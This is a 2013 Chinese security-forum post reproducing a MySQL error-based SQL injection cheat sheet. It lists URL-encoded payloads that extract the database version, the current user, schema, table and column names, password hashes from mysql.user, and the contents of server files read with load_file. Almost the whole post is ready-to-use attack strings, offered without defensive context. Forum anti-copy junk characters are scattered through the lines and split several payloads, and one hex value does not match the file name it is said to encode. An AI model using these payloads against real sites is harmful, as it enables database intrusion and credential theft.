Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑


Mysql暴错注入参考（pdf），每天一贴。。。

MySql Error Based Injection Reference
9 o+ V/ A0 |0 R8 P: C" R* X[Mysql暴错注入参考]
Authornig0s1992
; E: O5 ]2 F& k$ G" x5 o! P  l4 jBlog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
0 |9 e6 q( g( G  FMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
* L) T# @; \( Y9 R) p/ x小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
0 w$ k8 g; E* L( jjoin+(select+name_const(@@version,0))b)c)
" K' E) O) S- K% |, oMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
5 f& b6 ]( _& }" A  R( [Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
, X! a' T- F; y4 d0 L4 ?and(0)*2))x+from+information_schema.tables+group+by+x)a)
* Q7 ]; ]' ?3 Y2 o$ s1 A# ]查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
3 `8 E1 ]7 v: F9 E2 ]or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
, Y9 |) f3 M- u0 e; H5 Q依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
, x5 x9 T+ J& ^0 ?& v/ Y爆指定库数目:
" A4 s3 l1 F" s( Q: Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
1 @' U) Q# y3 I" @  c& eable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
4 y4 {( O: A8 Y8 \& `' ^. r' J0x6D7973716C=Mysql 将n顺序替换
% i% G$ E' a4 a2 \爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
- e. y" j1 n8 ?+ _3 w9 Z' K+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
) }4 `# Q! D  b9 c0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
: ^) D  O& Y6 p8 W6 q+ L" P: y+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
2 n6 v7 s2 b8 T& oand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
( U4 \: w- G7 F) f0 h& i  ?5 c4 vma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
爆文件内容:
+ G5 b+ ]/ o& H9 xand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
7 ~2 r7 W; F5 q; o' d% Yfrom+information_schema.tables+group+by+a)b)
" @) D5 V9 f! @" o& x1 g$ q0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
8 C6 q/ R; ~9 w9 l0 DThx for reading.

' y* C4 j6 T% {/ I- d& S- S不要下载也可以，